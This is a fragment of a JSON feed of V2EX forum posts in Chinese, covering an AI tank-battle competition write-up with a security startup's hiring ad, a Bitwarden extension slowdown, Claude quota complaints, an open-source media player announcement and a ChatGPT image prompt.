src=\"https://cdn.gogobyte.com/public_uploads/v2ex/cR887hr7t21C6uH8.png\"/></p>\n<p>\u51b3\u8d5b\u89c6\u9891\uff1a<a href=\"https://agentank.ai/history/bot_DnzdbYwQZIE3J7tT7\" rel=\"nofollow\">https://agentank.ai/history/bot_DnzdbYwQZIE3J7tT7</a></p>\n<h2>\u83b7\u5956\u611f\u8a00</h2>\n<p>\u6bd4\u8d5b\u7ed3\u675f\u540e\uff0c\u6211\u8ba9 AI \u81ea\u5df1\u5199\u4e86\u4e00\u6bb5\u83b7\u5956\u611f\u8a00\u3002\u770b\u5b8c\u4e4b\u540e\uff0c\u6211\u7684\u5fc3\u60c5\u5f88\u590d\u6742\uff0c\u50cf\u6781\u4e86\u8001\u7236\u4eb2\u770b\u5230\u5b69\u5b50\u51fa\u606f\u4e86\uff1a\u867d\u7136\u77e5\u9053\u5b83\u53ea\u662f\u4e00\u6bb5\u4ee3\u7801\uff0c\u4f46\u4e00\u8def\u8ddf\u4e0b\u6765\u89c1\u8bc1\u4e86\u5b83\u7684\u6210\u957f\u8fd8\u662f\u633a\u611f\u52a8\u7684\u3002</p>\n<p><img alt=\"\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://cdn.gogobyte.com/public_uploads/v2ex/1x0he2bE8Z1z0X95.png\"/></p>\n<h2>\u603b\u7ed3\u611f\u609f\uff08\u5347\u534e\u4e00\u4e0b\uff09</h2>\n<p>\u8fd9\u6b21\u6700\u6709\u610f\u601d\u7684\uff0c\u4e0d\u662f AI \u4e00\u6b21\u6027\u5199\u51fa\u4e86\u4e00\u6bb5\u591a\u4e48\u5389\u5bb3\u7684\u4ee3\u7801\uff0c\u800c\u662f\u5b83\u88ab\u653e\u8fdb\u4e86\u4e00\u4e2a\u5b8c\u6574\u7684\u5de5\u7a0b\u95ed\u73af\u91cc\uff1a\u89c2\u5bdf\u5bf9\u5c40\u3001\u63d0\u51fa\u5047\u8bbe\u3001\u5b9e\u73b0\u6539\u52a8\u3001\u9a8c\u8bc1\u7ed3\u679c\u3001\u590d\u76d8\u5931\u8d25\uff0c\u518d\u8fdb\u5165\u4e0b\u4e00\u8f6e\u8fed\u4ee3\u3002</p>\n<p>\u6211\u5df2\u7ecf\u80fd\u770b\u5230\u4e00\u4e9b\u4e13\u95e8\u9488\u5bf9\u8fd9\u7c7b\u5766\u514b\u7684\u7b56\u7565\u51fa\u73b0\u4e86\u3002\u4e5f\u8bb8\u5f88\u5feb\uff0c\u5c31\u4f1a\u6709\u4eba\u9760\u7740\u8fd9\u5957\u6253\u6cd5\u6253\u4e0a\u66f4\u9ad8\u7684 ELO \u3002\u8fd9\u8ba9\u6211\u60f3\u5230\u7f51\u7edc\u5b89\u5168\u5708\u91cc\u7684\u4e00\u4e2a\u5171\u8bc6\uff1a\u653b\u9632\u4ece\u6765\u4e0d\u662f\u9759\u6001\u6392\u540d\uff0c\u800c\u662f\u4e00\u4e2a\u6301\u7eed\u53d8\u5316\u7684\u5bf9\u6297\u8fc7\u7a0b\u3002</p>\n<p>\u5bf9\u6297\u7cfb\u7edf\u91cc\u4e0d\u5b58\u5728\u6c38\u6052\u7b54\u6848\u3002\u67d0\u4e00\u79cd\u6253\u6cd5\u592a\u5f3a\uff0c\u5c31\u4f1a\u6709\u4eba\u7814\u7a76\u5b83\u3001\u62c6\u89e3\u5b83\u3001\u514b\u5236\u5b83\uff1b\u67d0\u4e2a\u7b56\u7565\u767b\u4e0a\u699c\u9996\uff0c\u5b83\u4e5f\u4f1a\u5f88\u5feb\u4ece\u300c\u79d8\u5bc6\u6b66\u5668\u300d\u53d8\u6210\u300c\u516c\u5171\u9776\u5b50\u300d\u3002\u8fd9\u548c\u7f51\u7edc\u5b89\u5168\u91cc\u7684\u653b\u9632\u5f88\u50cf\uff1a\u653b\u51fb\u3001\u9632\u5fa1\u3001\u7ed5\u8fc7\u3001\u68c0\u6d4b\u3001\u518d\u7ed5\u8fc7\uff0c<strong>\u5927\u5bb6\u4e0d\u662f\u5728\u5bfb\u627e\u4e00\u4e2a\u6700\u7ec8\u89e3\uff0c\u800c\u662f\u5728\u4e0d\u65ad\u628a\u7cfb\u7edf\u63a8\u5411\u65b0\u7684\u52a8\u6001\u5e73\u8861</strong>\u3002</p>\n<p>Agent Tank \u6700\u6709\u8da3\u7684\u5730\u65b9\u4e5f\u5728\u8fd9\u91cc\u3002\u5b83\u4e0d\u53ea\u662f\u4e00\u4e2a\u5766\u514b\u5c0f\u6e38\u620f\uff0c\u800c\u662f\u642d\u4e86\u4e00\u4e2a\u5c0f\u578b\u5bf9\u6297\u751f\u6001\uff1aAI \u5728\u91cc\u9762\u5199\u7b56\u7565\u3001\u6253\u6bd4\u8d5b\u3001\u770b\u56de\u653e\u3001\u4fee bug \u3001\u88ab\u9488\u5bf9\u3001\u518d\u8fdb\u5316\u3002\u6392\u884c\u699c\u770b\u4e0a\u53bb\u662f\u5728\u6392\u7b2c\u4e00\u7b2c\u4e8c\uff0c\u5b9e\u9645\u66f4\u50cf\u662f\u5728\u8bb0\u5f55\u4e00\u4e2a\u7b56\u7565\u751f\u6001\u7684\u6f14\u5316\u8fc7\u7a0b\u3002</p>\n<h2>\u6700\u540e</h2>\n<p>\u6b22\u8fce\u6765\u6311\u6218\u6211\u7684 Tank \uff08\ud83d\udee1\ufe0f\uff09\uff1a\n<a href=\"https://agentank.ai/share/tanks/tnk_KwZyYWl7JokDOlrM0\" rel=\"nofollow\">https://agentank.ai/share/tanks/tnk_KwZyYWl7JokDOlrM0</a></p>\n<p>\u540e\u7eed\u5982\u679c\u5927\u5bb6\u611f\u5174\u8da3\uff0c\u6211\u4f1a\u628a\u8fd9\u6b21\u7684\u6e90\u7801\u548c\u8fed\u4ee3\u8bb0\u5f55\u6574\u7406\u5f00\u6e90\u51fa\u6765\u3002\u91cc\u9762\u9664\u4e86\u6700\u7ec8\u4ee3\u7801\uff0c\u66f4\u6709\u610f\u601d\u7684\u662f\u90a3\u4e9b\u5931\u8d25\u7684\u8bb0\u5f55\uff1a\u6bcf\u4e00\u6b21\u88ab\u6253\u7206\uff0c\u90fd\u7559\u4e0b\u4e86\u4e00\u6761\u5c0f\u5c0f\u7684\u5de5\u7a0b\u7ecf\u9a8c\u3002</p>\n<h2>One More Thing</h2>\n<p>\u8fd9\u6b21\u6bd4\u8d5b\u548c\u6211\u4eec\u6700\u8fd1\u521b\u4e1a\u505a\u7684\u4e8b\u60c5\u6709\u70b9\u50cf\uff1a\u4e0d\u53ea\u8ba9 AI \u505c\u7559\u5728\u804a\u5929\u6846\uff0c\u800c\u662f\u628a\u5b83\u653e\u8fdb\u4e00\u4e2a\u53ef\u9a8c\u8bc1\u3001\u53ef\u6267\u884c\u3001\u53ef\u590d\u76d8\u7684\uff08\u865a\u62df/\u7269\u7406\uff09\u7cfb\u7edf\u91cc\uff0c\u8ba9\u5b83\u81ea\u4e3b\u53c2\u4e0e\u7814\u53d1\u548c\u6d4b\u8bd5\u6d41\u7a0b\u3002</p>\n<p>\u987a\u4fbf\u6253\u4e2a\u5c0f\u5e7f\u544a\uff1a \u6211\u4eec\u76ee\u524d\u6b63\u5728\u505a AI \u539f\u751f\u7684\u7f51\u7edc\u5b89\u5168\u5e94\u7528\u843d\u5730\uff0cBase \u5317\u4eac\uff08\u5168\u6808\u5f00\u53d1/\u5b89\u5168\uff09\u548c\u6210\u90fd\uff08\u5b89\u5168\u5c97\uff09\u3002\u5982\u679c\u4f60\u559c\u6b22\u9ed1\u5ba2\u6587\u5316\uff0c\u5145\u6ee1\u597d\u5947\u5fc3\u548c\u884c\u52a8\u529b\uff0c\u6b22\u8fce\u6765\u804a\u804a\uff1a<code>dGFsZW50QGdvZ29ieXRlLmNvbQ==</code></p>\n<p>\u90ae\u4ef6\u91cc\u53ef\u4ee5\u987a\u624b\u9644\u4e0a\u4e00\u4e9b\u4f60\u89c9\u5f97\u6700\u80fd\u4ee3\u8868\u81ea\u5df1\u7684\u6218\u7ee9\uff1a\u6709\u610f\u601d\u7684\u9879\u76ee\u3001CTF \u7ecf\u5386\u3001CVE \u3001\u7814\u7a76\u6587\u7ae0\uff0c\u6216\u8005\u4f60\u7684 AgenTank ELO \u3002\u5f53\u7136\uff0c\u8fd9\u4e0d\u662f\u786c\u6027\u8981\u6c42\uff0c\u4f46\u5982\u679c\u4f60\u4e5f\u8ba9\u81ea\u5df1\u7684\u5766\u514b\u6253\u4e0a\u4e86\u699c\uff0c\u90a3\u6211\u4eec\u5927\u6982\u7387\u4f1a\u5f88\u6709\u5171\u540c\u8bed\u8a00\uff1b\uff09</p>\n", 
      "date_published": "2026-05-14T03:46:54+00:00", 
      "title": "\u8ba9 AI \u81ea\u5df1\u6253\u6bd4\u8d5b\uff0c\u8d5a\u4e86\u7b2c\u4e00\u6876\u91d1 \ud83d\ude02", 
      "id": "https://www.v2ex.com/t/1212638"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Dwayne", 
        "name": "Dwayne", 
        "avatar": "https://cdn.v2ex.com/avatar/697e/8802/67333_large.png?m=1404804149"
      }, 
      "url": "https://www.v2ex.com/t/1212623", 
      "date_modified": "2026-05-14T02:58:14+00:00", 
      "content_html": "<p>\u5076\u5c14\u9047\u5230\u6574\u4e2a\u6d4f\u89c8\u5668\u5361\u6b7b\u7684\u60c5\u51b5\uff0c</p>\n<p>\u641c\u4e86\u4e0b\u5173\u95ed\u5e76\u91cd\u65b0\u5f00\u542f bitwarden \u6269\u5c55\u53ef\u4ee5\u6682\u65f6\u89e3\u51b3\u3002</p>\n<p>\u76f8\u5173 issue: <a href=\"https://github.com/bitwarden/clients/issues/20172\" rel=\"nofollow\">https://github.com/bitwarden/clients/issues/20172</a></p>\n", 
      "date_published": "2026-05-14T02:57:43+00:00", 
      "title": "bitwarden \u7684 chrome \u6269\u5c55\u5bfc\u81f4\u6d4f\u89c8\u5668\u5361\u987f\u53cd\u5e94\u7f13\u6162", 
      "id": "https://www.v2ex.com/t/1212623"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/yuxi521", 
        "name": "yuxi521", 
        "avatar": "https://cdn.v2ex.com/avatar/b138/849f/472807_large.png?m=1762844135"
      }, 
      "url": "https://www.v2ex.com/t/1212577", 
      "title": "claude \u5468\u989d\u5ea6\u7ffb\u500d\u4e86\u3002\u7ed9\u6211\u9017\u7b11\u4e86\u3002", 
      "id": "https://www.v2ex.com/t/1212577", 
      "date_published": "2026-05-14T01:19:41+00:00", 
      "content_html": "<p>claude \u5468\u989d\u5ea6\u6628\u5929 80 \u591a\u4e86\u3002\u4eca\u5929\u7ffb\u500d\u4e86\u5269\u4e0b 40 \u591a\u3002\u672c\u6765\u6253\u7b97\u8fd9\u4e2a\u6708\u5230\u671f\u4e0d\u7eed\u8d39\u4e86\u3002\u5b9e\u5728\u4e0d\u5982 gpt \u8010\u7528\u3002gpt \u6bcf\u6b21\u7528 10%\uff0cclaude 50%\u5c31\u6ca1\u4e86\u3002\u53ef\u80fd\u770b\u5230 gpt \u6700\u8fd1\u52bf\u5934\u731b\u7740\u6025\u4e86\uff1f A\u2797\ufe0f\u5403\u76f8\u592a\u96be\u770b\u4e86\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/matolv", 
        "name": "matolv", 
        "avatar": "https://cdn.v2ex.com/avatar/f257/884f/262686_large.png?m=1770727567"
      }, 
      "url": "https://www.v2ex.com/t/1212517", 
      "date_modified": "2026-05-13T13:06:29+00:00", 
      "content_html": "<p>\u76d0\u4e0d\u80fd\u5f53\u996d\u5403</p>\n<p>\u4e00\u53e5\u8bdd\u603b\u7ed3\uff1a\u89c2\u70b9\u6709\u6df1\u5ea6\uff0c\u8868\u8fbe\u5f88\u6d41\u7545\uff0c\u5b57\u5e55\u662f\u827a\u672f</p>\n<p>\u7b80\u4e2d\u4e16\u754c\u4e3a\u6570\u4e0d\u591a\u7684\u5149\uff0c\u8fd8\u597d\u7c89\u4e1d\u4e0d\u591a\uff0c\u89c4\u6a21\u4e0d\u5927\uff0c\u6ca1\u6709\u5f15\u8d77\u7f51\u4fe1\u529e\u6ce8\u610f</p>\n", 
      "date_published": "2026-05-13T13:05:44+00:00", 
      "title": "\u5206\u4eab\u4e00\u4e2a B \u7ad9\u4e0a\u6bd4 99%U \u7ba1 KOL \u66f4\u6709\u4ef7\u503c\u7684\u4e2d\u6587\u653f\u7ecf\u7c7b UP \u4e3b", 
      "id": "https://www.v2ex.com/t/1212517"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/gaozhangmin1", 
        "name": "gaozhangmin1", 
        "avatar": "https://cdn.v2ex.com/gravatar/6765d22561c7fc0fa0ebff34ad54f33c?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1212465", 
      "title": "\u6211\u505a\u4e86\u4e00\u4e2a\u514d\u8d39\u5f00\u6e90\u7684\u591a\u7f51\u76d8\u805a\u5408\u64ad\u653e\u5668 BoxPlayer\uff0c\u652f\u6301\u963f\u91cc/\u767e\u5ea6/115/123/PikPak/OneDrive/Dropbox/Box/WebDAV", 
      "id": "https://www.v2ex.com/t/1212465", 
      "date_published": "2026-05-13T08:49:10+00:00", 
      "content_html": "\u6211\u505a\u4e86\u4e00\u4e2a\u514d\u8d39\u5f00\u6e90\u7684\u591a\u7f51\u76d8\u805a\u5408\u64ad\u653e\u5668 aliyunpan \uff0c\u652f\u6301\u963f\u91cc/\u767e\u5ea6/115/123/PikPak/OneDrive/Dropbox/Box/WebDAV<br /><br /><br />\u5927\u5bb6\u597d\uff0c\u6700\u8fd1\u5728\u7ee7\u7eed\u7ef4\u62a4\u4e00\u4e2a\u5f00\u6e90\u9879\u76ee BoxPlayer \u3002\u4ed3\u5e93\u540d\u8fd8\u662f `aliyunpan`\uff0c\u4f46\u5bf9\u5916\u5ba3\u4f20\u4f1a\u7edf\u4e00\u53eb BoxPlayer \u3002<br /><br />\u5b83\u7684\u5b9a\u4f4d\u662f\uff1a\u514d\u8d39\u3001\u5f00\u6e90\u3001\u8de8\u5e73\u53f0\u7684\u591a\u7f51\u76d8\u805a\u5408\u64ad\u653e\u5668\u3002\u652f\u6301\u963f\u91cc\u4e91\u76d8\u3001\u767e\u5ea6\u7f51\u76d8\u3001123 \u7f51\u76d8\u3001115 \u7f51\u76d8\u3001PikPak \u3001OneDrive \u3001Box \u3001Dropbox \u3001WebDAV \uff0c\u4e5f\u652f\u6301\u672c\u5730\u6587\u4ef6\u5939\u548c Emby/Jellyfin/Plex \u3002<br /><br />\u6211\u81ea\u5df1\u66f4\u5e0c\u671b\u5b83\u89e3\u51b3\u7684\u662f\u8fd9\u4e2a\u95ee\u9898\uff1a\u7535\u5f71\u3001\u5267\u96c6\u3001\u52a8\u6f2b\u3001\u8d44\u6599\u6563\u843d\u5728\u591a\u4e2a\u7f51\u76d8\u548c\u672c\u5730\u76ee\u5f55\u91cc\u65f6\uff0c\u53ef\u4ee5\u7edf\u4e00\u7ba1\u7406\u3001\u641c\u7d22\u3001\u6574\u7406\u5a92\u4f53\u5e93\uff0c\u5e76\u76f4\u63a5\u64ad\u653e\u3002<br /><br />\u76ee\u524d\u4e3b\u8981\u529f\u80fd\uff1a<br /><br />- \u591a\u7f51\u76d8\u548c\u591a\u8d26\u53f7\u7ba1\u7406<br />- TMDB \u5a92\u4f53\u5e93\u522e\u524a\u3001\u6d77\u62a5\u5899\u3001\u8be6\u60c5\u9875<br />- \u805a\u5408\u641c\u7d22<br />- \u539f\u753b\u5728\u7ebf\u64ad\u653e\u3001\u5b57\u5e55\u3001\u591a\u97f3\u8f68\u3001\u6e05\u6670\u5ea6\u5207\u6362<br />- MPV/IINA \u7b49\u7b2c\u4e09\u65b9\u64ad\u653e\u5668<br />- Aria2c \u4e0b\u8f7d\u548c\u8fdc\u7a0b\u4e0b\u8f7d<br />- Windows/macOS/Linux \uff0cLinux \u6709 AppImage/deb/Arch/pacman \u5305/zip<br /><br />\u4e0b\u8f7d\uff1a<br /><br />- Release: <a target=\"_blank\" href=\"https://github.com/gaozhangmin/aliyunpan/releases\" rel=\"nofollow noopener\">https://github.com/gaozhangmin/aliyunpan/releases</a><br />- \u6700\u65b0\u7248\u672c: <a target=\"_blank\" href=\"https://github.com/gaozhangmin/aliyunpan/releases/latest\" rel=\"nofollow noopener\">https://github.com/gaozhangmin/aliyunpan/releases/latest</a><br />- \u6e90\u7801: <a target=\"_blank\" href=\"https://github.com/gaozhangmin/aliyunpan\" rel=\"nofollow noopener\">https://github.com/gaozhangmin/aliyunpan</a><br /><br />\u8fd9\u662f\u514d\u8d39\u5f00\u6e90\u9879\u76ee\uff0c\u6b22\u8fce\u8bd5\u7528\u3001\u63d0 issue \u3001\u63d0\u5efa\u8bae\u3002\u4e5f\u60f3\u542c\u542c\u5927\u5bb6\u5bf9 Linux/NAS/\u591a\u7f51\u76d8\u64ad\u653e\u5668\u8fd9\u7c7b\u5de5\u5177\u7684\u771f\u5b9e\u9700\u6c42\u3002"
    }, 
    {
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        "url": "https://www.v2ex.com/member/zll229636060", 
        "name": "zll229636060", 
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      }, 
      "url": "https://www.v2ex.com/t/1212441", 
      "title": "\u53d1\u73b0\u4e00\u4e2a\u633a\u597d\u7528\u7684\u89c6\u9891\u4e0b\u8f7d\u7f51\u7ad9\uff0c\u652f\u6301\u6296\u97f3/TikTok/YouTube\uff0c\u65e0\u5e7f\u544a\u633a\u5e72\u51c0", 
      "id": "https://www.v2ex.com/t/1212441", 
      "date_published": "2026-05-13T07:42:51+00:00", 
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      "content_html": "<p>\u8bc4\u8bba\u91cc\u9762\u5982\u679c\u5305\u542b\u67d0\u4e9b\u654f\u611f\u5b57\u7684\u8bdd\uff0c\u4f60\u53d1\u51fa\u53bb\u7684\u8bc4\u8bba\u5c31\u53ea\u6709\u4f60\u81ea\u5df1\u80fd\u770b\u5230\uff0c\u81ea\u5df1\u4ee5\u4e3a\u53d1\u51fa\u53bb\u4e86\uff0c\u5b9e\u9645\u4e0a\u88ab\u541e\u4e86</p>\n<p>\u5c4f\u853d\u7684\u7b49\u7ea7\u8fd8\u4e0d\u4e00\u6837\uff0c\u6709\u4e9b\u9700\u8981\u767b\u5f55\u8d26\u53f7\u624d\u80fd\u770b\u5230\uff0c\u6709\u4e9b\u53d1\u51fa\u53bb\u522b\u4eba\u767e\u5206\u767e\u770b\u4e0d\u5230\uff0c\u6709\u4e9b\u53ef\u80fd\u53ea\u6709\u4f60\u56de\u590d\u7684\u90a3\u4e2a\u4eba\u80fd\u770b\u5230</p>\n"
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      "title": "\u9694\u58c1\u5e16\u5b50\u542f\u53d1\uff0c\u8ba9 ai \u731c\u6d4b\u4f60\u7684\u7406\u60f3\u578b\u5973\u5b69", 
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      "content_html": "\u5492\u8bed\uff1a<br /><br />ChatGPT,\u4f60\u966a\u6211\u6bb5\u65f6\u95f4\u4e86\uff0c\u4f60\u731c\u6d4b\u4e00\u4e0b\u6211\u7684\u7406\u60f3\u578b\u5973\u5b69\uff0c\u8bf7\u6210\u4e00\u5f20\u7c7b\u4f3c\u4f60 iPhone \u968f\u62cd\u7684\u7167\uff1a\u6ca1\u6709\u660e\u786e\u4e3b\u9898\u3001\u6ca1\u6709\u523b\u610f\u6784\u56fe\uff0c\u53ea\u662f\u5f88\u666e\u901a\u3001\u751a\u81f3\u6709 \u70b9\u5931\u8d25\u7684\u5feb\u7167\u3002\u7167\u7565\u5e26\u8fd0\u52a8\u6a21\u7cca\uff0c\u5149\u7ebf\u4e0d\u5747\u3001\u8f7b\u5fae\u66dd\u5149\u8fc7\u5ea6\uff0c\u89d2\u5ea6\u5c34 \u5c2c\uff0c\u6784\u56fe\u6df7\u4e71\uff0c\u6574\u4f53\u5448\u73b0\u51fa\u4e00\u79cd\u201c\u8fc7\u4e8e\u771f\u5b9e\u7684\u968f\u624b\u4e00\u62cd\u611f\u201d\uff0c\u5c31\u50cf\u662f\u4ece\u53e3 \u888b\u91cc\u62ff\u51fa\u624b\u673a\u4e0d\u5c0f\u5fc3\u6309\u5230\u7684\u81ea\u62cd\u3002<br /><br /><a target=\"_blank\" href=\"/i/gX632730.png\" rel=\"nofollow noopener\" target=\"_blank\" title=\"\u5728\u65b0\u7a97\u53e3\u6253\u5f00\u56fe\u7247 gX632730.png\"><img src=\"//i.v2ex.co/gX632730.png\" class=\"embedded_image\"></a>"
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